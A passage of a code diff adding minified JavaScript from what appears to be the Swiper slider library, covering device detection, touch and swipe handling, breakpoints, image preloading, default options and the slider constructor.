appendSlide: se, + prependSlide: oe, + addSlide: le, + removeSlide: ue, + removeAllSlides: de + }; + var ce = function e() { + var t = b.window.navigator.userAgent; + var i = { + ios: false, + android: false, + androidChrome: false, + desktop: false, + windows: false, + iphone: false, + ipod: false, + ipad: false, + cordova: b.window.cordova || b.window.phonegap, + phonegap: b.window.cordova || b.window.phonegap + }; + var n = t.match(/(Windows Phone);?[\s\/]+([\d.]+)?/); + var r = t.match(/(Android);?[\s\/]+([\d.]+)?/); + var a = t.match(/(iPad).*OS\s([\d_]+)/); + var s = t.match(/(iPod)(.*OS\s([\d_]+))?/); + var o = !a && t.match(/(iPhone\sOS|iOS)\s([\d_]+)/); + if (n) { + i.os = "windows"; + i.osVersion = n[2]; + i.windows = true + } + if (r && !n) { + i.os = "android"; + i.osVersion = r[2]; + i.android = true; + i.androidChrome = t.toLowerCase().indexOf("chrome") >= 0 + } + if (a || o || s) { + i.os = "ios"; + i.ios = true + } + if (o && !s) { + i.osVersion = o[2].replace(/_/g, "."); + i.iphone = true + } + if (a) { + i.osVersion = a[2].replace(/_/g, "."); + i.ipad = true + } + if (s) { + i.osVersion = s[3] ? s[3].replace(/_/g, ".") : null; + i.iphone = true + } + if (i.ios && i.osVersion && t.indexOf("Version/") >= 0) { + if (i.osVersion.split(".")[0] === "10") { + i.osVersion = t.toLowerCase().split("version/")[1].split(" ")[0] + } + } + i.desktop = !(i.os || i.android || i.webView); + i.webView = (o || a || s) && t.match(/.*AppleWebKit(?!.*Safari)/i); + if (i.os && i.os === "ios") { + var l = i.osVersion.split("."); + var u = b.document.querySelector('meta[name="viewport"]'); + i.minimalUi = !i.webView && (s || o) && (l[0] * 1 === 7 ? l[1] * 1 >= 1 : l[0] * 1 > 7) && u && u.getAttribute("content").indexOf("minimal-ui") >= 0 + } + i.pixelRatio = b.window.devicePixelRatio || 1; + return i + }(); + + function he(e) { + var t = this; + var i = t.touchEventsData; + var n = t.params, + r = t.touches; + if (t.animating && n.preventInteractionOnTransition) { + return + } + var a = e; + if (a.originalEvent) a = a.originalEvent; + i.isTouchEvent = a.type === "touchstart"; + if (!i.isTouchEvent && "which" in a && a.which === 3) return; + if (!i.isTouchEvent && "button" in a && a.button > 0) return; + if (i.isTouched && i.isMoved) return; + if (n.noSwiping && (0, y.$)(a.target).closest(n.noSwipingSelector ? n.noSwipingSelector : "." + n.noSwipingClass)[0]) { + t.allowClick = true; + return + } + if (n.swipeHandler) { + if (!(0, y.$)(a).closest(n.swipeHandler)[0]) return + } + r.currentX = a.type === "touchstart" ? a.targetTouches[0].pageX : a.pageX; + r.currentY = a.type === "touchstart" ? a.targetTouches[0].pageY : a.pageY; + var s = r.currentX; + var o = r.currentY; + var l = n.edgeSwipeDetection || n.iOSEdgeSwipeDetection; + var u = n.edgeSwipeThreshold || n.iOSEdgeSwipeThreshold; + if (l && (s <= u || s >= b.window.screen.width - u)) { + return + } + k.extend(i, { + isTouched: true, + isMoved: false, + allowTouchCallbacks: true, + isScrolling: undefined, + startMoving: undefined + }); + r.startX = s; + r.startY = o; + i.touchStartTime = k.now(); + t.allowClick = true; + t.updateSize(); + t.swipeDirection = undefined; + if (n.threshold > 0) i.allowThresholdMove = false; + if (a.type !== "touchstart") { + var d = true; + if ((0, y.$)(a.target).is(i.formElements)) d = false; + if (b.document.activeElement && (0, y.$)(b.document.activeElement).is(i.formElements) && b.document.activeElement !== a.target) { + b.document.activeElement.blur() + } + if (d && t.allowTouchMove && n.touchStartPreventDefault) { + a.preventDefault() + } + } + t.emit("touchStart", a) + } + + function me(e) { + var t = this; + var i = t.touchEventsData; + var n = t.params, + r = t.touches, + a = t.rtlTranslate; + var s = e; + if (s.originalEvent) s = s.originalEvent; + if (!i.isTouched) { + if (i.startMoving && i.isScrolling) { + t.emit("touchMoveOpposite", s) + } + return + } + if (i.isTouchEvent && s.type === "mousemove") return; + var o = s.type === "touchmove" ? s.targetTouches[0].pageX : s.pageX; + var l = s.type === "touchmove" ? s.targetTouches[0].pageY : s.pageY; + if (s.preventedByNestedSwiper) { + r.startX = o; + r.startY = l; + return + } + if (!t.allowTouchMove) { + t.allowClick = false; + if (i.isTouched) { + k.extend(r, { + startX: o, + startY: l, + currentX: o, + currentY: l + }); + i.touchStartTime = k.now() + } + return + } + if (i.isTouchEvent && n.touchReleaseOnEdges && !n.loop) { + if (t.isVertical()) { + if (l < r.startY && t.translate <= t.maxTranslate() || l > r.startY && t.translate >= t.minTranslate()) { + i.isTouched = false; + i.isMoved = false; + return + } + } else if (o < r.startX && t.translate <= t.maxTranslate() || o > r.startX && t.translate >= t.minTranslate()) { + return + } + } + if (i.isTouchEvent && b.document.activeElement) { + if (s.target === b.document.activeElement && (0, y.$)(s.target).is(i.formElements)) { + i.isMoved = true; + t.allowClick = false; + return + } + } + if (i.allowTouchCallbacks) { + t.emit("touchMove", s) + } + if (s.targetTouches && s.targetTouches.length > 1) return; + r.currentX = o; + r.currentY = l; + var u = r.currentX - r.startX; + var d = r.currentY - r.startY; + if (t.params.threshold && Math.sqrt(Math.pow(u, 2) + Math.pow(d, 2)) < t.params.threshold) return; + if (typeof i.isScrolling === "undefined") { + var f = void 0; + if (t.isHorizontal() && r.currentY === r.startY || t.isVertical() && r.currentX === r.startX) { + i.isScrolling = false + } else { + if (u * u + d * d >= 25) { + f = Math.atan2(Math.abs(d), Math.abs(u)) * 180 / Math.PI; + i.isScrolling = t.isHorizontal() ? f > n.touchAngle : 90 - f > n.touchAngle + } + } + } + if (i.isScrolling) { + t.emit("touchMoveOpposite", s) + } + if (typeof i.startMoving === "undefined") { + if (r.currentX !== r.startX || r.currentY !== r.startY) { + i.startMoving = true + } + } + if (i.isScrolling) { + i.isTouched = false; + return + } + if (!i.startMoving) { + return + } + t.allowClick = false; + s.preventDefault(); + if (n.touchMoveStopPropagation && !n.nested) { + s.stopPropagation() + } + if (!i.isMoved) { + if (n.loop) { + t.loopFix() + } + i.startTranslate = t.getTranslate(); + t.setTransition(0); + if (t.animating) { + t.$wrapperEl.trigger("webkitTransitionEnd transitionend") + } + i.allowMomentumBounce = false; + if (n.grabCursor && (t.allowSlideNext === true || t.allowSlidePrev === true)) { + t.setGrabCursor(true) + } + t.emit("sliderFirstMove", s) + } + t.emit("sliderMove", s); + i.isMoved = true; + var c = t.isHorizontal() ? u : d; + r.diff = c; + c *= n.touchRatio; + if (a) c = -c; + t.swipeDirection = c > 0 ? "prev" : "next"; + i.currentTranslate = c + i.startTranslate; + var h = true; + var m = n.resistanceRatio; + if (n.touchReleaseOnEdges) { + m = 0 + } + if (c > 0 && i.currentTranslate > t.minTranslate()) { + h = false; + if (n.resistance) i.currentTranslate = t.minTranslate() - 1 + Math.pow(-t.minTranslate() + i.startTranslate + c, m) + } else if (c < 0 && i.currentTranslate < t.maxTranslate()) { + h = false; + if (n.resistance) i.currentTranslate = t.maxTranslate() + 1 - Math.pow(t.maxTranslate() - i.startTranslate - c, m) + } + if (h) { + s.preventedByNestedSwiper = true + } + if (!t.allowSlideNext && t.swipeDirection === "next" && i.currentTranslate < i.startTranslate) { + i.currentTranslate = i.startTranslate + } + if (!t.allowSlidePrev && t.swipeDirection === "prev" && i.currentTranslate > i.startTranslate) { + i.currentTranslate = i.startTranslate + } + if (n.threshold > 0) { + if (Math.abs(c) > n.threshold || i.allowThresholdMove) { + if (!i.allowThresholdMove) { + i.allowThresholdMove = true; + r.startX = r.currentX; + r.startY = r.currentY; + i.currentTranslate = i.startTranslate; + r.diff = t.isHorizontal() ? r.currentX - r.startX : r.currentY - r.startY; + return + } + } else { + i.currentTranslate = i.startTranslate; + return + } + } + if (!n.followFinger) return; + if (n.freeMode || n.watchSlidesProgress || n.watchSlidesVisibility) { + t.updateActiveIndex(); + t.updateSlidesClasses() + } + if (n.freeMode) { + if (i.velocities.length === 0) { + i.velocities.push({ + position: r[t.isHorizontal() ? "startX" : "startY"], + time: i.touchStartTime + }) + } + i.velocities.push({ + position: r[t.isHorizontal() ? "currentX" : "currentY"], + time: k.now() + }) + } + t.updateProgress(i.currentTranslate); + t.setTranslate(i.currentTranslate) + } + + function pe(e) { + var t = this; + var i = t.touchEventsData; + var n = t.params, + r = t.touches, + a = t.rtlTranslate, + s = t.$wrapperEl, + o = t.slidesGrid, + l = t.snapGrid; + var u = e; + if (u.originalEvent) u = u.originalEvent; + if (i.allowTouchCallbacks) { + t.emit("touchEnd", u) + } + i.allowTouchCallbacks = false; + if (!i.isTouched) { + if (i.isMoved && n.grabCursor) { + t.setGrabCursor(false) + } + i.isMoved = false; + i.startMoving = false; + return + } + if (n.grabCursor && i.isMoved && i.isTouched && (t.allowSlideNext === true || t.allowSlidePrev === true)) { + t.setGrabCursor(false) + } + var d = k.now(); + var f = d - i.touchStartTime; + if (t.allowClick) { + t.updateClickedSlide(u); + t.emit("tap", u); + if (f < 300 && d - i.lastClickTime > 300) { + if (i.clickTimeout) clearTimeout(i.clickTimeout); + i.clickTimeout = k.nextTick(function () { + if (!t || t.destroyed) return; + t.emit("click", u) + }, 300) + } + if (f < 300 && d - i.lastClickTime < 300) { + if (i.clickTimeout) clearTimeout(i.clickTimeout); + t.emit("doubleTap", u) + } + } + i.lastClickTime = k.now(); + k.nextTick(function () { + if (!t.destroyed) t.allowClick = true + }); + if (!i.isTouched || !i.isMoved || !t.swipeDirection || r.diff === 0 || i.currentTranslate === i.startTranslate) { + i.isTouched = false; + i.isMoved = false; + i.startMoving = false; + return + } + i.isTouched = false; + i.isMoved = false; + i.startMoving = false; + var c = void 0; + if (n.followFinger) { + c = a ? t.translate : -t.translate + } else { + c = -i.currentTranslate + } + if (n.freeMode) { + if (c < -t.minTranslate()) { + t.slideTo(t.activeIndex); + return + } + if (c > -t.maxTranslate()) { + if (t.slides.length < l.length) { + t.slideTo(l.length - 1) + } else { + t.slideTo(t.slides.length - 1) + } + return + } + if (n.freeModeMomentum) { + if (i.velocities.length > 1) { + var h = i.velocities.pop(); + var m = i.velocities.pop(); + var p = h.position - m.position; + var v = h.time - m.time; + t.velocity = p / v; + t.velocity /= 2; + if (Math.abs(t.velocity) < n.freeModeMinimumVelocity) { + t.velocity = 0 + } + if (v > 150 || k.now() - h.time > 300) { + t.velocity = 0 + } + } else { + t.velocity = 0 + } + t.velocity *= n.freeModeMomentumVelocityRatio; + i.velocities.length = 0; + var _ = 1e3 * n.freeModeMomentumRatio; + var g = t.velocity * _; + var y = t.translate + g; + if (a) y = -y; + var b = false; + var w = void 0; + var M = Math.abs(t.velocity) * 20 * n.freeModeMomentumBounceRatio; + var L = void 0; + if (y < t.maxTranslate()) { + if (n.freeModeMomentumBounce) { + if (y + t.maxTranslate() < -M) { + y = t.maxTranslate() - M + } + w = t.maxTranslate(); + b = true; + i.allowMomentumBounce = true + } else { + y = t.maxTranslate() + } + if (n.loop && n.centeredSlides) L = true + } else if (y > t.minTranslate()) { + if (n.freeModeMomentumBounce) { + if (y - t.minTranslate() > M) { + y = t.minTranslate() + M + } + w = t.minTranslate(); + b = true; + i.allowMomentumBounce = true + } else { + y = t.minTranslate() + } + if (n.loop && n.centeredSlides) L = true + } else if (n.freeModeSticky) { + var T = void 0; + for (var x = 0; x < l.length; x += 1) { + if (l[x] > -y) { + T = x; + break + } + } + if (Math.abs(l[T] - y) < Math.abs(l[T - 1] - y) || t.swipeDirection === "next") { + y = l[T] + } else { + y = l[T - 1] + } + y = -y + } + if (L) { + t.once("transitionEnd", function () { + t.loopFix() + }) + } + if (t.velocity !== 0) { + if (a) { + _ = Math.abs((-y - t.translate) / t.velocity) + } else { + _ = Math.abs((y - t.translate) / t.velocity) + } + } else if (n.freeModeSticky) { + t.slideToClosest(); + return + } + if (n.freeModeMomentumBounce && b) { + t.updateProgress(w); + t.setTransition(_); + t.setTranslate(y); + t.transitionStart(true, t.swipeDirection); + t.animating = true; + s.transitionEnd(function () { + if (!t || t.destroyed || !i.allowMomentumBounce) return; + t.emit("momentumBounce"); + t.setTransition(n.speed); + t.setTranslate(w); + s.transitionEnd(function () { + if (!t || t.destroyed) return; + t.transitionEnd() + }) + }) + } else if (t.velocity) { + t.updateProgress(y); + t.setTransition(_); + t.setTranslate(y); + t.transitionStart(true, t.swipeDirection); + if (!t.animating) { + t.animating = true; + s.transitionEnd(function () { + if (!t || t.destroyed) return; + t.transitionEnd() + }) + } + } else { + t.updateProgress(y) + } + t.updateActiveIndex(); + t.updateSlidesClasses() + } else if (n.freeModeSticky) { + t.slideToClosest(); + return + } + if (!n.freeModeMomentum || f >= n.longSwipesMs) { + t.updateProgress(); + t.updateActiveIndex(); + t.updateSlidesClasses() + } + return + } + var S = 0; + var Y = t.slidesSizesGrid[0]; + for (var D = 0; D < o.length; D += n.slidesPerGroup) { + if (typeof o[D + n.slidesPerGroup] !== "undefined") { + if (c >= o[D] && c < o[D + n.slidesPerGroup]) { + S = D; + Y = o[D + n.slidesPerGroup] - o[D] + } + } else if (c >= o[D]) { + S = D; + Y = o[o.length - 1] - o[o.length - 2] + } + } + var E = (c - o[S]) / Y; + if (f > n.longSwipesMs) { + if (!n.longSwipes) { + t.slideTo(t.activeIndex); + return + } + if (t.swipeDirection === "next") { + if (E >= n.longSwipesRatio) t.slideTo(S + n.slidesPerGroup); + else t.slideTo(S) + } + if (t.swipeDirection === "prev") { + if (E > 1 - n.longSwipesRatio) t.slideTo(S + n.slidesPerGroup); + else t.slideTo(S) + } + } else { + if (!n.shortSwipes) { + t.slideTo(t.activeIndex); + return + } + if (t.swipeDirection === "next") { + t.slideTo(S + n.slidesPerGroup) + } + if (t.swipeDirection === "prev") { + t.slideTo(S) + } + } + } + + function ve() { + var e = this; + var t = e.params, + i = e.el; + if (i && i.offsetWidth === 0) return; + if (t.breakpoints) { + e.setBreakpoint() + } + var n = e.allowSlideNext, + r = e.allowSlidePrev, + a = e.snapGrid; + e.allowSlideNext = true; + e.allowSlidePrev = true; + e.updateSize(); + e.updateSlides(); + if (t.freeMode) { + var s = Math.min(Math.max(e.translate, e.maxTranslate()), e.minTranslate()); + e.setTranslate(s); + e.updateActiveIndex(); + e.updateSlidesClasses(); + if (t.autoHeight) { + e.updateAutoHeight() + } + } else { + e.updateSlidesClasses(); + if ((t.slidesPerView === "auto" || t.slidesPerView > 1) && e.isEnd && !e.params.centeredSlides) { + e.slideTo(e.slides.length - 1, 0, false, true) + } else { + e.slideTo(e.activeIndex, 0, false, true) + } + } + e.allowSlidePrev = r; + e.allowSlideNext = n; + if (e.params.watchOverflow && a !== e.snapGrid) { + e.checkOverflow() + } + } + + function _e(e) { + var t = this; + if (!t.allowClick) { + if (t.params.preventClicks) e.preventDefault(); + if (t.params.preventClicksPropagation && t.animating) { + e.stopPropagation(); + e.stopImmediatePropagation() + } + } + } + + function ge() { + var e = this; + var t = e.params, + i = e.touchEvents, + n = e.el, + r = e.wrapperEl; { + e.onTouchStart = he.bind(e); + e.onTouchMove = me.bind(e); + e.onTouchEnd = pe.bind(e) + } + e.onClick = _e.bind(e); + var a = t.touchEventsTarget === "container" ? n : r; + var s = !!t.nested; { + if (!L.touch && (L.pointerEvents || L.prefixedPointerEvents)) { + a.addEventListener(i.start, e.onTouchStart, false); + b.document.addEventListener(i.move, e.onTouchMove, s); + b.document.addEventListener(i.end, e.onTouchEnd, false) + } else { + if (L.touch) { + var o = i.start === "touchstart" && L.passiveListener && t.passiveListeners ? { + passive: true, + capture: false + } : false; + a.addEventListener(i.start, e.onTouchStart, o); + a.addEventListener(i.move, e.onTouchMove, L.passiveListener ? { + passive: false, + capture: s + } : s); + a.addEventListener(i.end, e.onTouchEnd, o) + } + if (t.simulateTouch && !ce.ios && !ce.android || t.simulateTouch && !L.touch && ce.ios) { + a.addEventListener("mousedown", e.onTouchStart, false); + b.document.addEventListener("mousemove", e.onTouchMove, s); + b.document.addEventListener("mouseup", e.onTouchEnd, false) + } + } + if (t.preventClicks || t.preventClicksPropagation) { + a.addEventListener("click", e.onClick, true) + } + } + e.on(ce.ios || ce.android ? "resize orientationchange observerUpdate" : "resize observerUpdate", ve, true) + } + + function ye() { + var e = this; + var t = e.params, + i = e.touchEvents, + n = e.el, + r = e.wrapperEl; + var a = t.touchEventsTarget === "container" ? n : r; + var s = !!t.nested; { + if (!L.touch && (L.pointerEvents || L.prefixedPointerEvents)) { + a.removeEventListener(i.start, e.onTouchStart, false); + b.document.removeEventListener(i.move, e.onTouchMove, s); + b.document.removeEventListener(i.end, e.onTouchEnd, false) + } else { + if (L.touch) { + var o = i.start === "onTouchStart" && L.passiveListener && t.passiveListeners ? { + passive: true, + capture: false + } : false; + a.removeEventListener(i.start, e.onTouchStart, o); + a.removeEventListener(i.move, e.onTouchMove, s); + a.removeEventListener(i.end, e.onTouchEnd, o) + } + if (t.simulateTouch && !ce.ios && !ce.android || t.simulateTouch && !L.touch && ce.ios) { + a.removeEventListener("mousedown", e.onTouchStart, false); + b.document.removeEventListener("mousemove", e.onTouchMove, s); + b.document.removeEventListener("mouseup", e.onTouchEnd, false) + } + } + if (t.preventClicks || t.preventClicksPropagation) { + a.removeEventListener("click", e.onClick, true) + } + } + e.off(ce.ios || ce.android ? "resize orientationchange observerUpdate" : "resize observerUpdate", ve) + } + var be = { + attachEvents: ge, + detachEvents: ye + }; + + function we() { + var e = this; + var t = e.activeIndex, + i = e.initialized, + n = e.loopedSlides, + r = n === undefined ? 0 : n, + a = e.params; + var s = a.breakpoints; + if (!s || s && (0, g.default)(s).length === 0) return; + var o = e.getBreakpoint(s); + if (o && e.currentBreakpoint !== o) { + var l = o in s ? s[o] : e.originalParams; + var u = a.loop && l.slidesPerView !== a.slidesPerView; + k.extend(e.params, l); + k.extend(e, { + allowTouchMove: e.params.allowTouchMove, + allowSlideNext: e.params.allowSlideNext, + allowSlidePrev: e.params.allowSlidePrev + }); + e.currentBreakpoint = o; + if (u && i) { + e.loopDestroy(); + e.loopCreate(); + e.updateSlides(); + e.slideTo(t - r + e.loopedSlides, 0, false) + } + e.emit("breakpoint", l) + } + } + + function Me(e) { + var t = this; + if (!e) return undefined; + var i = false; + var n = []; + (0, g.default)(e).forEach(function (e) { + n.push(e) + }); + n.sort(function (e, t) { + return parseInt(e, 10) - parseInt(t, 10) + }); + for (var r = 0; r < n.length; r += 1) { + var a = n[r]; + if (t.params.breakpointsInverse) { + if (a <= b.window.innerWidth) { + i = a + } + } else if (a >= b.window.innerWidth && !i) { + i = a + } + } + return i || "max" + } + var ke = { + setBreakpoint: we, + getBreakpoint: Me + }; + var Le = function e() { + function t() { + var e = b.window.navigator.userAgent.toLowerCase(); + return e.indexOf("safari") >= 0 && e.indexOf("chrome") < 0 && e.indexOf("android") < 0 + } + return { + isIE: !!b.window.navigator.userAgent.match(/Trident/g) || !!b.window.navigator.userAgent.match(/MSIE/g), + isEdge: !!b.window.navigator.userAgent.match(/Edge/g), + isSafari: t(), + isUiWebView: /(iPhone|iPod|iPad).*AppleWebKit(?!.*Safari)/i.test(b.window.navigator.userAgent) + } + }(); + + function Te() { + var e = this; + var t = e.classNames, + i = e.params, + n = e.rtl, + r = e.$el; + var a = []; + a.push(i.direction); + if (i.freeMode) { + a.push("free-mode") + } + if (!L.flexbox) { + a.push("no-flexbox") + } + if (i.autoHeight) { + a.push("autoheight") + } + if (n) { + a.push("rtl") + } + if (i.slidesPerColumn > 1) { + a.push("multirow") + } + if (ce.android) { + a.push("android") + } + if (ce.ios) { + a.push("ios") + } + if ((Le.isIE || Le.isEdge) && (L.pointerEvents || L.prefixedPointerEvents)) { + a.push("wp8-" + i.direction) + } + a.forEach(function (e) { + t.push(i.containerModifierClass + e) + }); + r.addClass(t.join(" ")) + } + + function xe() { + var e = this; + var t = e.$el, + i = e.classNames; + t.removeClass(i.join(" ")) + } + var Se = { + addClasses: Te, + removeClasses: xe + }; + + function Ye(e, t, i, n, r, a) { + var s = void 0; + + function o() { + if (a) a() + } + if (!e.complete || !r) { + if (t) { + s = new b.window.Image; + s.onload = o; + s.onerror = o; + if (n) { + s.sizes = n + } + if (i) { + s.srcset = i + } + if (t) { + s.src = t + } + } else { + o() + } + } else { + o() + } + } + + function De() { + var e = this; + e.imagesToLoad = e.$el.find("img"); + + function t() { + if (typeof e === "undefined" || e === null || !e || e.destroyed) return; + if (e.imagesLoaded !== undefined) e.imagesLoaded += 1; + if (e.imagesLoaded === e.imagesToLoad.length) { + if (e.params.updateOnImagesReady) e.update(); + e.emit("imagesReady") + } + } + for (var i = 0; i < e.imagesToLoad.length; i += 1) { + var n = e.imagesToLoad[i]; + e.loadImage(n, n.currentSrc || n.getAttribute("src"), n.srcset || n.getAttribute("srcset"), n.sizes || n.getAttribute("sizes"), true, t) + } + } + var Ee = { + loadImage: Ye, + preloadImages: De + }; + + function Ce() { + var e = this; + var t = e.isLocked; + e.isLocked = e.snapGrid.length === 1; + e.allowSlideNext = !e.isLocked; + e.allowSlidePrev = !e.isLocked; + if (t !== e.isLocked) e.emit(e.isLocked ? "lock" : "unlock"); + if (t && t !== e.isLocked) { + e.isEnd = false; + e.navigation.update() + } + } + var Pe = { + checkOverflow: Ce + }; + var Ae = { + init: true, + direction: "horizontal", + touchEventsTarget: "container", + initialSlide: 0, + speed: 300, + preventInteractionOnTransition: false, + edgeSwipeDetection: false, + edgeSwipeThreshold: 20, + freeMode: false, + freeModeMomentum: true, + freeModeMomentumRatio: 1, + freeModeMomentumBounce: true, + freeModeMomentumBounceRatio: 1, + freeModeMomentumVelocityRatio: 1, + freeModeSticky: false, + freeModeMinimumVelocity: .02, + autoHeight: false, + setWrapperSize: false, + virtualTranslate: false, + effect: "slide", + breakpoints: undefined, + breakpointsInverse: false, + spaceBetween: 0, + slidesPerView: 1, + slidesPerColumn: 1, + slidesPerColumnFill: "column", + slidesPerGroup: 1, + centeredSlides: false, + slidesOffsetBefore: 0, + slidesOffsetAfter: 0, + normalizeSlideIndex: true, + centerInsufficientSlides: false, + watchOverflow: false, + roundLengths: false, + touchRatio: 1, + touchAngle: 45, + simulateTouch: true, + shortSwipes: true, + longSwipes: true, + longSwipesRatio: .5, + longSwipesMs: 300, + followFinger: true, + allowTouchMove: true, + threshold: 0, + touchMoveStopPropagation: true, + touchStartPreventDefault: true, + touchReleaseOnEdges: false, + uniqueNavElements: true, + resistance: true, + resistanceRatio: .85, + watchSlidesProgress: false, + watchSlidesVisibility: false, + grabCursor: false, + preventClicks: true, + preventClicksPropagation: true, + slideToClickedSlide: false, + preloadImages: true, + updateOnImagesReady: true, + loop: false, + loopAdditionalSlides: 0, + loopedSlides: null, + loopFillGroupWithBlank: false, + allowSlidePrev: true, + allowSlideNext: true, + swipeHandler: null, + noSwiping: true, + noSwipingClass: "swiper-no-swiping", + noSwipingSelector: null, + passiveListeners: true, + containerModifierClass: "swiper-container-", + slideClass: "swiper-slide", + slideBlankClass: "swiper-slide-invisible-blank", + slideActiveClass: "swiper-slide-active", + slideDuplicateActiveClass: "swiper-slide-duplicate-active", + slideVisibleClass: "swiper-slide-visible", + slideDuplicateClass: "swiper-slide-duplicate", + slideNextClass: "swiper-slide-next", + slideDuplicateNextClass: "swiper-slide-duplicate-next", + slidePrevClass: "swiper-slide-prev", + slideDuplicatePrevClass: "swiper-slide-duplicate-prev", + wrapperClass: "swiper-wrapper", + runCallbacksOnInit: true + }; + var Oe = { + update: j, + translate: R, + transition: q, + slide: Q, + loop: ie, + grabCursor: ae, + manipulation: fe, + events: be, + breakpoints: ke, + checkOverflow: Pe, + classes: Se, + images: Ee + }; + var je = {}; + var He = function (e) { + (0, l.default)(t, e); + + function t() { + var e; + (0, d.default)(this, t); + var i = void 0; + var n = void 0; + for (var a = arguments.length, o = Array(a), l = 0; l < a; l++) { + o[l] = arguments[l] + } + if (o.length === 1 && o[0].constructor && o[0].constructor === Object) { + n = o[0] + } else { + i = o[0]; + n = o[1] + } + if (!n) n = {}; + n = k.extend({}, n); + if (i && !n.el) n.el = i; + var u = (0, s.default)(this, (t.__proto__ || (0, r.default)(t)).call(this, n)); + (0, g.default)(Oe).forEach(function (e) { + (0, g.default)(Oe[e]).forEach(function (i) { + if (!t.prototype[i]) { + t.prototype[i] = Oe[e][i] + } + }) + }); + var f = u; + if (typeof f.modules === "undefined") { + f.modules = {} + }(0, g.default)(f.modules).forEach(function (e) { + var t = f.modules[e]; + if (t.params) { + var i = (0, g.default)(t.params)[0]; + var r = t.params[i]; + if ((typeof r === "undefined" ? "undefined" : (0, v.default)(r)) !== "object" || r === null) return; + if (!(i in n && "enabled" in r)) return; + if (n[i] === true) { + n[i] = { + enabled: true + } + } + if ((0, v.default)(n[i]) === "object" && !("enabled" in n[i])) { + n[i].enabled = true + } + if (!n[i]) n[i] = { + enabled: false + } + } + }); + var c = k.extend({}, Ae); + f.useModulesParams(c); + f.params = k.extend({}, c, je, n); + f.originalParams = k.extend({}, f.params); + f.passedParams = k.extend({}, n); + f.$ = y.$; + var h = (0, y.$)(f.params.el); + i = h[0]; + if (!i) { + var m; + return m = undefined, (0, s.default)(u, m) + } + if (h.length > 1) { + var p; + var _ = []; + h.each(function (e, i) { + var r = k.extend({}, n, { + el: i + }); + _.push(new t(r)) + }); + return p = _, (0, s.default)(u, p) + } + i.swiper = f; + h.data("swiper", f); + var b = h.children("." + f.params.wrapperClass); + k.extend(f, { + $el: h, + el: i, + $wrapperEl: b, + wrapperEl: b[0], + classNames: [], + slides: (0, y.$)(), + slidesGrid: [], + snapGrid: [], + slidesSizesGrid: [], + isHorizontal: function e() { + return f.params.direction === "horizontal" + }, + isVertical: function e() { + return f.params.direction === "vertical" + }, + rtl: i.dir.toLowerCase() === "rtl" || h.css("direction") === "rtl", + rtlTranslate: f.params.direction === "horizontal" && (i.dir.toLowerCase() === "rtl" || h.css("direction") === "rtl"), + wrongRTL: b.css("display") === "-webkit-box", + activeIndex: 0, + realIndex: 0, + isBeginning: true, + isEnd: false, + translate: 0, + previousTranslate: 0, + progress: 0, + velocity: 0, + animating: false, + allowSlideNext: f.params.allowSlideNext, + allowSlidePrev: f.params.allowSlidePrev, + touchEvents: function e() { + var t = ["touchstart", "touchmove", "touchend"]; + var i = ["mousedown", "mousemove", "mouseup"]; + if (L.pointerEvents) { + i = ["pointerdown", "pointermove", "pointerup"] + } else if (L.prefixedPointerEvents) { + i = ["MSPointerDown", "MSPointerMove", "MSPointerUp"] + } + f.touchEventsTouch = { + start: t[0], + move: t[1], + end: t[2] + }; + f.touchEventsDesktop = { + start: i[0], + move: i[1], + end: i[2] + }; + return L.touch || !f.params.simulateTouch ? f.touchEventsTouch : f.touchEventsDesktop + }(), + touchEventsData: { + isTouched: undefined, + isMoved: undefined, + allowTouchCallbacks: undefined, + touchStartTime: undefined, + isScrolling: undefined, + currentTranslate: undefined, + startTranslate: undefined, + allowThresholdMove: undefined, + formElements: "input, select, option, textarea, button, video", + lastClickTime: k.now(), + clickTimeout: undefined, + velocities: [], + allowMomentumBounce: undefined, + isTouchEvent: undefined, + startMoving: undefined + }, + allowClick: true, + allowTouchMove: f.params.allowTouchMove, + touches: { + startX: 0, + startY: 0, + currentX: 0, + currentY: 0, + diff: 0 + }, + imagesToLoad: [], + imagesLoaded: 0 + }); + f.useModules(); + if (f.params.init) { + f.init() + } + return e = f, (0, s.default)(u, e) + }(0, c.default)(t, [{ + key: "slidesPerViewDynamic", + value: function e() { + var t = this; + var i = t.params, + n = t.slides, + r = t.slidesGrid, + a = t.size, + s = t.activeIndex; + var o = 1; + if (i.centeredSlides) { + var l = n[s].swiperSlideSize; + var u = void 0; + for (var d = s + 1; d < n.length; d += 1) { + if (n[d] && !u) { + l += n[d].swiperSlideSize; + o += 1; + if (l > a) u = true + } + } + for (var f = s - 1; f >= 0; f -= 1) { + if (n[f] && !u) { + l += n[f].swiperSlideSize; + o += 1; + if (l > a) u = true + } + } + } else { + for (var c = s + 1; c < n.length; c += 1) { + if (r[c] - r[s] < a) { + o += 1 + } + } + } + return o + } + }, { + key: "update", + value: function e() { + var t = this; + if (!t || t.destroyed) return; + var i = t.snapGrid, + n = t.params; + if (n.breakpoints) { + t.setBreakpoint() + } + t.updateSize(); + t.updateSlides(); + t.updateProgress(); + t.updateSlidesClasses(); + + function r() { + var e = t.rtlTranslate ? t.translate * -1 : t.translate; + var i = Math.min(Math.max(e, t.maxTranslate()), t.minTranslate()); + t.setTranslate(i); + t.updateActiveIndex(); + t.updateSlidesClasses() + } + var a = void 0; + if (t.params.freeMode) { + r(); + if (t.params.autoHeight) { + t.updateAutoHeight() + } + } else { + if ((t.params.slidesPerView === "auto" || t.params.slidesPerView > 1) && t.isEnd && !t.params.centeredSlides) { + a = t.slideTo(t.slides.length - 1, 0, false, true) + } else { + a = t.slideTo(t.activeIndex, 0, false, true) + } + if (!a) { + r() + } + } + if (n.watchOverflow && i !== t.snapGrid) { + t.checkOverflow() + } + t.emit("update") + } + }, { + key: "init", + value: function e() { + var t = this; + if (t.initialized) return; + t.emit("beforeInit"); + if (t.params.breakpoints) { + t.setBreakpoint() + } + t.addClasses(); + if (t.params.loop) { + t.loopCreate() + } + t.updateSize(); + t.updateSlides(); + if (t.params.watchOverflow) { + t.checkOverflow() + } + if (t.params.grabCursor) { + t.setGrabCursor() + } + if (t.params.preloadImages) { + t.preloadImages() + } + if (t.params.loop) { + t.slideTo(t.params.initialSlide + t.loopedSlides, 0, t.params.runCallbacksOnInit) + } else { + t.slideTo(t.params.initialSlide, 0, t.params.runCallbacksOnInit) + } + t.attachEvents(); + t.initialized = true; + t.emit("init") + } + }, { + key: "destroy", + value: function e() { + var t = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : true; + var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : true; + var n = this; + var r = n.params, + a = n.$el, + s = n.$wrapperEl, + o = n.slides; + if (typeof n.params === "undefined" || 